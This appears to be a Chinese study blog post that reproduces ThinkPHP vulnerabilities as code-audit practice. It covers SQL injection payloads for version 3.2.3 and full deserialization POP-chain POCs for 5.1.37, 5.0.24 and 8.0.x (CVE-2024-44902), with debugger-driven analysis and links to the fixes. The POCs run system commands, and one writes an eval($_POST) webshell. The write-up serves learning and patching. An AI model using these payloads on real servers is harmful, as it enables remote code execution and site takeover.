ThinkPHP系列漏洞
前言
作为学习代码审计的入门,分析复现漏洞,学习如何修补,记录一下学习过程
环境搭建
ThinkPHP搭建
分别在不同版本漏洞分析前说明,都是建立在 phpstudy 上,不要用 apache,会导致调试中断,且 apache 的许多默认设置不友好
Xdebug配置(以ThinkPHP5为例)
在php.ini中,xdebug2.x和3.x版本的配置有所区别,此处演示3.x版本
zend_extension = php_xdebug.dll
xdebug.mode = debug
xdebug.client_host = localhost
xdebug.client_port = 9100
xdebug.remote_enable = On
xdebug.start_with_request = yes
xdebug.log = "D:\Major\phpstudy_pro\Extensions\php"
xdebug.client_timeout = 300
在phpstorm中,服务器选项,主机配置phpstudy创建的那个,别加http://
调试模块改端口为php.ini里面设置xdebug的端口
DBGp代理填写规则和前面说的一致
可以在
Nginx配置
phpstudy建站之后,根据实际情况修改\Extensions\Nginx1.15.11\conf\vhosts里面对应网站的配置信息
最主要的就是修改根目录,一般改这个,让nginx的服务指向对应的根目录,比如/public,里面有index.php
在不同系统上的部署略有区别,以及在配置过程中遇到的一些新概念,如cgi,php-cgi,fastcgi 、php-fpm等等,会在另外的文档里再写
ThinkPHP源码解读
先看官方开发手册,每个大版本都有,很详细 https://doc.thinkphp.cn/v8_0/preface.html
ThinkPHP5版本讲的很好Thinkphp 源码阅读,但是这个和我现在下载到的5.1.37有不少形式上的区别,内容上也有改动,如果有时间我再写一下这个
主要搞清楚目录结构,MVC模式如何启动,路由如何转发,控制器如何调用
www WEB部署目录(或者子目录)
├─application 应用目录
│ ├─common 公共模块目录(可以更改)
│ ├─module_name 模块目录
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ ├─config 配置目录
│ │ └─ ... 更多类库目录
│ │
│ ├─command.php 命令行定义文件
│ ├─common.php 公共函数文件
│ └─tags.php 应用行为扩展定义文件
│
├─config 应用配置目录
│ ├─module_name 模块配置目录
│ │ ├─database.php 数据库配置
│ │ ├─cache 缓存配置
│ │ └─ ...
│ │
│ ├─app.php 应用配置
│ ├─cache.php 缓存配置
│ ├─cookie.php Cookie配置
│ ├─database.php 数据库配置
│ ├─log.php 日志配置
│ ├─session.php Session配置
│ ├─template.php 模板引擎配置
│ └─trace.php Trace配置
│
├─route 路由定义目录
│ ├─route.php 路由定义
│ └─... 更多
│
├─public WEB目录(对外访问目录)
│ ├─index.php 入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于apache的重写
│
├─thinkphp 框架系统目录
│ ├─lang 语言文件目录
│ ├─library 框架类库目录
│ │ ├─think Think类库包目录
│ │ └─traits 系统Trait目录
│ │
│ ├─tpl 系统模板目录
│ ├─base.php 基础定义文件
│ ├─convention.php 框架惯例配置文件
│ ├─helper.php 助手函数文件
│ └─logo.png 框架LOGO文件
│
├─extend 扩展类库目录
├─runtime 应用的运行时目录(可写,可定制)
├─vendor 第三方类库目录(Composer依赖库)
├─build.php 自动生成定义文件(参考)
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件
Version<=3.23
这个版本的sql注入大多都集中在/ThinkPHP/Library/Think/Db/Driver.class.php里的parseWhereItem()
环境搭建
源码下载:https://github.com/top-think/thinkphp/archive/3.2.3.zip
在ThinkPHP\Conf\convention.php,配置好数据库相关部分(根据本地mysql配置)
SQL where 注入
建一个users表,然后在Application/Home/Controller/IndexController.class.php添加测试代码
public function index()
{
$data = M('users')->find(I('GET.id'));
var_dump($data);
}
这些方法封装在ThinkPHP/Common/functions.php
M()
是 ThinkPHP 提供的 模型类快速实例化方法,它会创建一个针对users
表的 模型对象。当你传入
'users'
这个表名时,ThinkPHP 内部会自动与数据库中名为users
的表建立关联。它相当于将这个表映射为一个对象,接下来就可以调用模型的方法来对数据库进行操作。例如,
M('users')
就相当于关联了users
数据表,你可以对这个表进行查询、添加、更新、删除等操作。find()
是 ThinkPHP 提供的 查询方法,用于 查询数据库中的一条记录。它会根据传入的主键 ID 来查找对应的记录,并返回这条记录的所有数据。它相当于执行了类似的 SQL 查询:SELECT * FROM users WHERE id = I('GET.id') LIMIT 1;
I('GET.id')
是 ThinkPHP 的输入助手函数,它用于获取 GET 请求中的id
参数。这个函数可以对输入数据进行过滤和处理,确保数据的安全性,避免常见的 SQL 注入 等安全问题。
分析
传入参数1'
,会变成1,打个断点看一下传参的I,用C方法获取了配置文件中的DEFAULT_FILTER
,默认参数过滤方法为htmlspecialchars

在444行对传进来的data进行过滤
is_array($data) && array_walk_recursive($data, 'think_filter');
return $data;
function think_filter(&$value)
{
// TODO 其他安全过滤
// 过滤查询特殊字符
if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';
}
}
关键点在后续_parseOptions()
里面的_parseType()
,这里对于参数进行处理
跟进去看一下,这里会根据数据表中的字段属性,来重新对我们的数据进行限定,id对应的类型是 int,这里直接做了 intval 处理导致 我们这里的 '
在这里被处理了
想办法不进入到_parseType()
,如果是数组就可以
此时id[where]=1%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)
,里面的内容就会是字符串,进不到这个判断去触发_parseType()
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))
如果不开debug的话就需要时间盲注了
修复
https://github.com/top-think/thinkphp/commit/9e1db19c1e455450cfebb8b573bb51ab7a1cef04#diff-0963df879f168f0758c1f5d8c49e7e3b5e91a4a81626a2343ca67f2cf5701270L797
把where属性拿出来避免当成数组绕过对于他的检查
SQL exp 注入
添加测试代码,使用全局数组传参,而不是I()
函数
public function index()
{
$User = D('Users');
$map = array('username' => $_GET['username']);
// $map = array('username' => I('username'));
$user = $User->where($map)->find();
var_dump($user);
}
分析
find()
函数会执行到ThinkPHP/Library/Think/Model.class.php:822
的$this->db->select($options)
public function select($options = array())
{
$this->model = $options['model'];
$this->parseBind(!empty($options['bind']) ? $options['bind'] : array());
$sql = $this->buildSelectSql($options);
$result = $this->query($sql, !empty($options['fetch_sql']) ? true : false);
return $result;
}
跟进到buildSelectSql()
public function buildSelectSql($options = array())
{
if (isset($options['page'])) {
// 根据页数计算limit
list($page, $listRows) = $options['page'];
$page = $page > 0 ? $page : 1;
$listRows = $listRows > 0 ? $listRows : (is_numeric($options['limit']) ? $options['limit'] : 20);
$offset = $listRows * ($page - 1);
$options['limit'] = $offset . ',' . $listRows;
}
$sql = $this->parseSql($this->selectSql, $options);
return $sql;
}
跟进$this->parseSql()
到,进去parseWhere()
,在里面打上断点
public function parseSql($sql, $options = array())
{
$sql = str_replace(
array('%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct']) ? $options['distinct'] : false),
$this->parseField(!empty($options['field']) ? $options['field'] : '*'),
$this->parseJoin(!empty($options['join']) ? $options['join'] : ''),
$this->parseWhere(!empty($options['where']) ? $options['where'] : ''),
$this->parseGroup(!empty($options['group']) ? $options['group'] : ''),
$this->parseHaving(!empty($options['having']) ? $options['having'] : ''),
$this->parseOrder(!empty($options['order']) ? $options['order'] : ''),
$this->parseLimit(!empty($options['limit']) ? $options['limit'] : ''),
$this->parseUnion(!empty($options['union']) ? $options['union'] : ''),
$this->parseLock(isset($options['lock']) ? $options['lock'] : false),
$this->parseComment(!empty($options['comment']) ? $options['comment'] : ''),
$this->parseForce(!empty($options['force']) ? $options['force'] : ''),
), $sql);
return $sql;
}
这部分是通过parse
系列函数来构建SQL语句,我们的关注点在parseWhere()
函数
对于$whereStr .= $this->parseWhereItem($this->parseKey($key), $val);
跟进到 ThinkPHP/Library/Think/Db/Driver.class.php:586
的 parseWhereItem()
elseif ('exp' == $exp) {
// 使用表达式
$whereStr .= $key . ' ' . $val[1];
如果传入的数组第一个值等于exp,就会直接将我们的 $key 和 $val[1] 进行了拼接 ,并且没有做任何过滤,那么构造传入的第二个值
Payload:?username[0]=exp&username[1]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)
修复
利用I()
函数去取值,里面就会进到is_array($data) && array_walk_recursive($data, 'think_filter');
,过滤了exp,会在后面拼接上一个空格,那这样后面parseWhereItem()
中就不满足条件抛出异常导致无法注入。
function think_filter(&$value)
{
// TODO 其他安全过滤
// 过滤查询特殊字符
if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';
}
}
SQL bind 注入
分析
添加测试代码
public function index()
{
$User = M("Users");
$user['id'] = I('id');
$data['password'] = I('password');
var_dump($user);
var_dump($data);
$valu = $User->where($user)->save($data);
var_dump($valu);
}
原理和exp注入相似,测试一下这个先
?id[0]=bind&id[1]=aa&password=1
where就是正常赋值进去,跟进save()
函数,里面有个update()
数据传入了parseSet()
方法
在这里传入的数据会变成key=:value
这样的格式,此处的key是password
进到parseWhere()
函数
理论上应该是走到这个逻辑里面,然后触发parseWhereItem
去达到和上面差不多的exp注入,只不过这个换成了bind
但是我并没有成功,$where是空的字符串,不知道为什么
然后按照正常的话,此时key值是含有分号的,无法正常执行
可以看到多了个冒号,在哪里替换了这个冒号?我们进入到 execute()
方法
这几行就是替换操作,是将:0
替换为外部传进来的字符串,所以我们让我们的参数也等于0,这样就拼接了一个:0
,然后会通过strtr()
被替换为1,这样sql语句就通顺了。说实话没太看懂这个
修复
https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4
加了过滤bind名单
SQL between 注入
测试代码:
public function index()
{
$uname = I('get.username');
$u = M('Users')->where(array(
'username' => $uname
))->find();
dump($u);
}
分析
在最新下到的版本中已经被修复,原因是/ThinkPHP/Library/Think/Db/Driver.class.php 531行,正则匹配处理where条件的函数
}elseif(preg_match('/BETWEEN/i',$val[0])){ // BETWEEN运算
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
$whereStr .= $key.' '.strtoupper($val[0]).' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
}
照搬p神的分析了:当匹配/BETWEEN/i
和$val[0]
时,则将strtoupper($val[0])
直接插入了SQL语句。
这个匹配:preg_match('/BETWEEN/i',$val[0])
,明显是有问题的。因为这个匹配没加^$
,也就是首尾限定,所以只要我们的$val[0]
中含有between时,这个匹配就可以成立,就产生了一个SQL注入。
而在I
函数里面那个think_filter
,虽然有between的过滤,但我们看到,这个正则是存在^$
首尾限定符的。所以只有传入参数完全“等于”BETWEEN的时候才会被加上空格,而且这里加上空格也不会影响漏洞的产生,因为漏洞位置的正则没有加^$
首尾限定符
function think_filter(&$value){
// TODO 其他安全过滤
// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|LIKE|NOTLIKE|BETWEEN|IN)$/i',$value)){
$value .= ' ';
}
}
修复
加上了首尾限定匹配,就会直接跳过变成异常
反序列化漏洞前置
5系列包括后面6,8都是反序列化的漏洞居多
魔术方法
__wakeup() //执行unserialize()时,先会调用这个函数,类名不区分大小写,可用于__wakeup()绕过
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //对一个对象进行 echo 操作或者 print 操作,声明的变量赋值为对象后与字符串做弱类型比较的时候就能触发,声明的变量赋值为对象后进行正则匹配的时候就能触发_,声明的变量被赋值为对象后进行 strolower 的时候就能触发_,当md5()和sha1()函数处理对象时,会自动调用__tostring方法
__invoke() //当尝试将对象调用为函数时触发
trait修饰符
trait修饰符使得被修饰的类可以进行复用,增加了代码的可复用性,使用这个修饰符就可以在一个类包含另一个类,这在后面的反序列化中有所涉及
<?php
trait test{
public function test(){
echo "test\n";
}
}
class impl{
use test;
public function __construct()
{
echo "impl\n";
}
}
$t=new impl();
$t->test();
我们在impl类中use了test这个类,因此我们可以调用其中的方法,有点像类的继承了,大致意思就是这么个情况 然后这个修饰符也有个好玩的地方,看下面另一个demo:
<?php
namespace test1\A;
use test2\A\yanami;
class Aniale{
use yanami;
public function __construct()
{
echo "dawn_construct\n";
}
}
<?php
namespace test2\A;
require("test1.php");
use test1\A\Aniale;
trait yanami{
public function __toString()
{
echo "tostring\n";
return "";
}
}
$a=new Aniale();
echo $a;
会一起触发里面的tostring方法
tp5系列都是跟着Boogipop的博客调的,神。ThinkPHP5.x反序列化漏洞全复现
Version=5.1.x
环境搭建
php7.29+ThinkPHP5.1.37
Thinkphp已经分为2个部分, https://github.com/top-think/framework/tags https://github.com/top-think/think/releases 下载5.1.37对应的版本号
将framework改名为为thinkphp放到think-5.1.37中
nginx的服务根目录正常指向public即可
在application/index/controller/Index.php里创建一个unserialize反序列化入口,因为他是二次触发漏洞
<?php
namespace app\index\controller;
class Index
{
public function index($input="")
{
echo "ThinkPHP5_Unserialize:\n";
unserialize(base64_decode($input));
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}
public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
}
POC
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["aniale"=>["calc.exe","calc"]];
$this->data = ["aniale"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'aniale'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
传入之前的反序列化入口
分析
unserialize()
处下断点,输入payload
进到包裹的think\process\pipes\Windows对象里面,反序列化触发__destruct()
跟进removeFiles()
方法
file_exists
方法检测文件是否存在,在poc里我们把file
设置为think\model]\Pivot
对象,因此会触发它的toString
方法
但是此时会进到Conversion的__toString()
而不是Pivot,这不是我们所预期的,首先是Conversion被trait修饰,Pivot里面也没有__toString()
,回到了前文提到的这个trait,如果有一个类去use Conversion 应该就可以调用,Model恰好use model\concern\Conversion,由于Model本身是抽象类无法被实例化,而Pivot extends 了Model,这就可以正常触发__toString()
进到toJson()
里面的toArray()
在此处遍历append去给name加键值,key为aniale,name为["calc.exe", "calc"]
对应POC里面的
进入getRelation()
方法,name不等于null,return null返回
进到getAttr()
,继续跟进到里面的getData()
,在之前我们把data赋值为Request对象,就会return一个Request对象回去,$relation
经过上述步骤变为Request对象
调用visible()
,因为不存在该方法,参数为[calc,calc.exe]
也就是我们自定义的那个键值对,触发Request的__call()
里面的array_unshift()
首先使用array_unshift
往之前的[calc,calc.exe]
数组插入$this
也就是Request对象,之后调用call_user_func_array
方法,其中$this->hook[$method]
就是$this->hook['visible']
,在POC中为isAjax
方法,跟进该方法:
调用Param()
,参数为我们poc中的aniale
,继续跟进
将GET数组赋值给this->param
属性,然后$name
就是之前说的aniale,跟进input方法:
进入getData()
,这里就传入我们的命令
进到getFilter()
获取filter属性
给filter加一个null变量?为什么这么做,后面又弹出去了(应该是为了后面过滤的时候取这个null值给$value)
再后面进入了filterValue()
,用array_pop()
弹出了后面那个default
然后就system,调用call_user_func()
RCE了
Version=5.0.24
在5.0.24和5.0.18可用,5.0.9不可用
环境搭建
与后面5.1.37相同
在application/index/controller/Index.php里创建一个unserialize反序列化入口,因为他是二次触发漏洞
<?php
namespace app\index\controller;
class Index
{
public function index($input="")
{
echo "ThinkPHP5_Unserialize:\n";
unserialize(base64_decode($input));
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}
public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
}
POC
<?php
//__destruct
namespace think\process\pipes{
class Windows{
private $files=[];
public function __construct($pivot)
{
$this->files[]=$pivot; //传入Pivot类
}
}
}
//__toString Model子类
namespace think\model{
class Pivot{
protected $parent;
protected $append = [];
protected $error;
public function __construct($output,$hasone)
{
$this->parent=$output; //$this->parent等于Output类
$this->append=['a'=>'getError'];
$this->error=$hasone; //$modelRelation=$this->error
}
}
}
//getModel
namespace think\db{
class Query
{
protected $model;
public function __construct($output)
{
$this->model=$output; //get_class($modelRelation->getModel()) == get_class($this->parent)
}
}
}
namespace think\console{
class Output
{
private $handle = null;
protected $styles;
public function __construct($memcached)
{
$this->handle=$memcached;
$this->styles=['getAttr'];
}
}
}
//Relation
namespace think\model\relation{
class HasOne{
protected $query;
protected $selfRelation;
protected $bindAttr = [];
public function __construct($query)
{
$this->query=$query; //调用Query类的getModel
$this->selfRelation=false; //满足条件!$modelRelation->isSelfRelation()
$this->bindAttr=['a'=>'admin']; //控制__call的参数$attr
}
}
}
namespace think\session\driver{
class Memcached{
protected $handler = null;
public function __construct($file)
{
$this->handler=$file; //$this->handler等于File类
}
}
}
namespace think\cache\driver{
class File{
protected $options = [
'path'=> 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'cache_subdir'=>false,
'prefix'=>'',
'data_compress'=>false
];
protected $tag=true;
}
}
namespace {
$file=new think\cache\driver\File();
$memcached=new think\session\driver\Memcached($file);
$output=new think\console\Output($memcached);
$query=new think\db\Query($output);
$hasone=new think\model\relation\HasOne($query);
$pivot=new think\model\Pivot($output,$hasone);
$windows=new think\process\pipes\Windows($pivot);
echo base64_encode(serialize($windows));
}
这一步之后就能在public目录下看到生成的a.php3b58a9545013e88c7186db11bb158c44.php文件,若访问出现Access denied.,需要在php.ini修改cgi.fix_pathinfo,取消前方的“;”,并使其等于1
分析
比较复杂
还是像上一条链子一样进到thinkphp/library/think/process/pipes/Windows.php的__destruct()
里面
这次触发__toString()
是在Model类了,在5.0版本没有Conversion这个复用类,因此在这里有点小不同,但是方法是一样的因此接下来会和5.1.37版本一样进入toArray()
:
首先888行左右的foreach ($this->append as $key => $name)
给name赋值为我们poc里面的getError ('a'=>'getError'),这里有四个重要的逻辑,第一个用parseName()
给$relation
赋值为getError
进到下面method_exists
判断,然后对$modelRelation
进行了赋值,在这里是通过$this->$relation()
,也就是 Model 类自己的$this->$getError()
完成的,同时也把这个设置成 HasOne 对象,下面会讲为什么这么做
进入下一断点getRelationData()
,重点在于第一句的if判断的三个条件
- 条件一:
$this->parent
在上一条链子里,我们进到toArray
是为了触发Request类的__call()
,在这里我们选择think\console\Output 类。因为这个会$value = $this->parent
去给$value
赋值,为了触发__call()
就需要让$value = Output对象
,也就是parent=Output
对象
- 条件二:
!$modelRelation->isSelfRelation()
$modelRelation
我们已经在上一步赋值过了,是那个 HasOne
对象,对于isSelfRelation()
他属于抽象类 Relation,而 HasOne extends OneToOne,abstract class OneToOne extends Relation,所以我们只需要在构造HasOne的时候,修改$selfRelation
的值为 false 即可,这也就是我们之前为什么要把$modelRelation
赋值为 HasOne 对象
- 条件三:
get_class($modelRelation->getModel()) == get_class($this->parent)
这里需要调用 HasOne 的 getModel 去返回一个等于 Output 的对象,需要一个可控的 getModel 去让我们操作,恰好有一个/thinkphp/library/think/db/Query.php
中的 getModel 方法我们可控,构造时让$model
为Output对象
进入第三个断点,$modelRelation->getBindAttr()
$modelRelation
此时是 HasOne 对象,但是里面没有getBindAttr()
,就会进到 OneToOne 里面的getBindAttr()
返回 HasOne 对象的 bindAttr 属性,这里我们设置为一个数组["a"=>"admin"]
,这里的 admin 和结果中的文件名有关
对 bindAttr 进行了遍历,取出了 admin 的值,进到触发__call()
的getAttr()
触发call方法
调用call_user_func_array
方法调用了自己的block方法,继续跟进
调用writeln
方法
全局搜索write方法,最终在Memcached
类找到合适的write方法,因此让Output的handle属性为Memcached
类
在Memcached
对象的write方法,调用了set方法,再找谁调用了set,最终在think/cache/driver/File
类找到了,因此让Memcache对象的handler属性变为File对象,最后触发它的set方法,参数为上面带下来的,并且最后走到调用危险函数file_put_contents()
$filename
由上面的getCacheKey()
决定,第一次调用时,name是我们之前传入的<getAttr>admin</getAttr>
$this->options['path']
在File类里面可控
但是第一次的$data
不可控,被赋值为
进到下面的setTagItem()
,这次进来之后,$value
可控,会在下面的set()
里面去调用,然后就需要去绕过死亡函数的第二种形式,文件名和内容相同
最后3b58a9545013e88c7186db11bb158c44这个才是写入shell的文件,文件名由
‘tag_’ . md5(<getAttr>admin</getAttr>)->tag_63ac11a7699c5c57d85009296440d77a
->md5(tag_63ac11a7699c5c57d85009296440d77a)->php3b58a9545013e88c7186db11bb158c44
composer create-project topthink/think=6.0.0 thinkphp6.0.0 --prefer-dist
CVE-2024-44902
影响版本:v6.1.3 <= thinkphp <= v8.0.4,此处演示8.0.3版本
环境搭建
- thinkphp8.0.3+php8.0.2++memcached3.2.0
换了php版本需要再安装一次xdebug
- 安装tp8
在tp6开始就只能用composer去下载了,打开这里面的composer设置,php版本选择>8.0的,推荐这样做,不然可能会因为版本对应问题导致下载不到8版本而是6版本
会自动进到命令提示符里,然后composer create-project topthink/think tp
然后就和之前一样把nginx服务的位置设置改成/public
- 安装 Memcached
下载Memcached软件(太难找版本了,我挂在自己服务器了):
注意在win上的版本>=1.45之后,不能直接memcached.exe -d install,memcached.exe -d start
正确方法(文件路径自行修改):schtasks /create /sc onstart /tn memcached /tr "'c:\memcached\memcached.exe' -m 512"
然后重启一下,看下服务里面有没有这个memcached服务
下载PHP Memcached扩展:https://github.com/lifenglsf/php_memcached_dll
下载这个目录下面的两个
下载后将php_memcached.dll 复制到对应 php 版本的 ext 目录中,然后将 libmemcached.dll 复制到 c:\Windows 下,在 php.ini 中添加一行配置,启用Memcached扩展
[Memcached]
extension=php_memcached.dll
配置ThinkPHP的缓存设置
最后需要在ThinkPHP的配置文件中设置默认的缓存驱动为Memcached
打开 config/cache.php,配置如下
<?php
// +----------------------------------------------------------------------
// | 缓存设置
// +----------------------------------------------------------------------
// config/cache.php
return [
// 默认缓存驱动
'default' => 'memcached',
// 缓存连接方式配置
'stores' => [
// Memcached缓存
'memcached' => [
// 驱动方式
'type' => 'memcached',
// 服务器地址
'host' => '127.0.0.1',
// 端口
'port' => 11211,
// 持久连接
'persistent' => false,
// 超时时间(单位:秒)
'timeout' => 0,
// 前缀
'prefix' => '',
// Memcached连接选项
'options' => [],
// 权重(在多服务器配置时使用)
// 'weight' => 100,
],
// 这里可以配置其他缓存驱动
],
];
最后把php和nginx服务都重启一下看看phpinfo界面是否正常加载
都正常的话环境配置就结束了
POC
<?php
namespace think\model;
use think\model;
class Pivot extends Model
{
}
namespace think;
abstract class Model{
private $data = [];
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = true;
function __construct()
{
$this->data["test"] = ["whoami"];
$this->withAttr["test"] = ["system"];
$this->json = ["test"];
}
}
namespace think\route;
use think\DbManager;
class ResourceRegister
{
protected $registered = false;
protected $resource;
function __construct()
{
$this->registered = false;
$this->resource = new DbManager();
}
}
namespace think;
use think\model\Pivot;
class DbManager
{
protected $instance = [];
protected $config = [];
function __construct()
{
$this->config["connections"] = ["getRule"=>["type"=>"\\think\\cache\\driver\\Memcached","username"=>new Pivot()]];//
$this->config["default"] = "getRule";
}
}
use think\route\ResourceRegister;
$r = new ResourceRegister();
echo urlencode(serialize($r));
分析
首先进到反序列化的入口,vendor/topthink/framework/src/think/route/ResourceRegister.php的__destruct()
里面的register()
跟进register()
,我们在POC里面给了$resource赋值了DbManager对象,因为调用DbManager里不存在的方法,所以触发他的__call()
继续跟进connect()
跟进
instance()
,因为name=null,会进到第一个if里面的getConfig()
可以看到此时的$name
为default,而我们在POC里恰好构造了$this->config["default"]="getRule";
这会使得下面 return getRule
回到之前,跟进createConnection()
跟进getConnectionConfig()
又看到了熟悉的getConfig()
,上次我们构造了name=fault
,这次给定参数 connections,对应去构造我们 POC 里的
$this->config["connections"]=["getRule"=>["type"=>"\\think\\cache\\driver\\Memcached","username"=>new Pivot()]];
最后返回一个connections[$name]
,等价于$connections[getRule]
其实就是构造的["type"=>"\think\cache\driver\Memcached","username"=>new Pivot()]]
下一步,在红框里面这里去处理$type
,也就是我们为什么要在 POC 里面构造 type 键值,然后给$class
赋值$type
进到下面断点的位置
new了一个我们传进去的\think\cache\driver\Memcached对象,参数是$config
数组,传入后为$options
数组,看一下构造方法,主要就是建立连接
$options
在处理后新加了一些连接相关的ip和端口信息
关键在断点处,我们之前已经构造了username为Pivot对象,所以此处会触发__toString()
,然后这里的逻辑和之前5.1.37一样,不会去触发Pivot的__toString()
而是Conversion的。首先是Conversion被trait修饰,Pivot里面也没有__toString()
,回到了前文提到的这个trait,如果有一个类去use Conversion 应该就可以调用,Model恰好use model\concern\Conversion,由于Model本身是抽象类无法被实例化,而Pivot extends 了Model,这就可以正常触发__toString()
跟进toArray()
方法,从这里开始就是tp6的链子了
$data = array_merge($this->data, $this->relation);
把我们构造的whoami传入,下面那个给$key
赋值为$data
里面的键名 test
进到$item[$key] = $this->getAttr($key)
的getAttr()
跟进getData()
,其实没什么
$fieldName = $this->getRealFieldName($name);
正常返回我们的键名test
进到下一步getValue()
在POC里面我们构造了$this->withAttr["test"]=["system"]
,进到第一个if里,构造了$this->json=["test"]
去满足if(in_array($fieldName, $this->json)
进到getJsonValue()
$this->withAttr[$name] as $key => $closure
把里面的system取出来赋值给$closure
,最后system('whoami',$value)
,$value
不影响命令执行
tp8版本另一条
环境搭建
在上面那个环境可以直接打通
POC
<?php
namespace think{
abstract class Model{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($cmd){
$this->data = ['cmd' => [$cmd]];
$this->withAttr = ['cmd' => ['system']];
$this->json = ['cmd'];
$this->jsonAssoc = True;
// 如果有disable_function 也可以写文件到 ./shell.php
//$this->data = ['cmd' => ["./shell.php", "<?php phpinfo();"]];
//$this->withAttr = ['cmd' => ['file_put_contents']];
//$this->json = ['cmd'];
//$this->jsonAssoc = True;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace think\route {
use think\model\Pivot;
class Route {
}
class Resource {
protected $rule;
protected $router;
protected $name;
protected $rest;
protected $option;
public function __construct($cmd) {
$this->rule = "test";
$this->router = new Route();
$this->name = "test";
$this->rest = [['a', '<id>']];
$this->option = ['var'=>[$this->rule=>new Pivot($cmd)]];
}
}
class ResourceRegister {
public function __construct($cmd)
{
$this->registered = false;
$this->resource = new Resource($cmd);
}
}
}
namespace {
use think\route\ResourceRegister;
echo urlencode(serialize(new ResourceRegister("calc")));
}
分析
入口和结尾与cve那个相同,中间调用的略有不同
从调用register()
那里开始,上一个直接触发了call,而这个会进到src/think/route/Rule.php的getRule()
在POC里面我们构造的对象是Resource,而Resource extends RuleGroup->RuleGroup extends Rule,自然会调到Rule里面,返回$rule,我们在POC里构造为test
继续跟进,POC里面我们设置了$option为Pivot对象
由于$option['var'][$rule]
我们构造为Pivot对象,此时被当成字符串调用会触发__toString()
,然后进入到Conversion类之后就和之前的后续一样了,略
结语
tp6版本每次只能下到6.1.4的,composer.json改完也不好使,先放了,看着其实也没什么太大区别,无非就是入口有所区别,核心就是那些。
这些本来能在半年前完成的,很遗憾拖到现在,不过结果还算满意
参考文章
https://y4er.com/posts/thinkphp3-vuln/#thinkphp-323
http://wjlshare.com/archives/1484
https://boogipop.com/2023/03/02/ThinkPHP5.x%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%85%A8%E5%A4%8D%E7%8E%B0/
https://bugs.leavesongs.com/php/thinkphp%E6%9C%80%E6%96%B0%E7%89%88%E6%9C%ACsql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/
P神的知识星球:https://wx.zsxq.com/group/2212251881
https://www.freebuf.com/vuls/317886.html
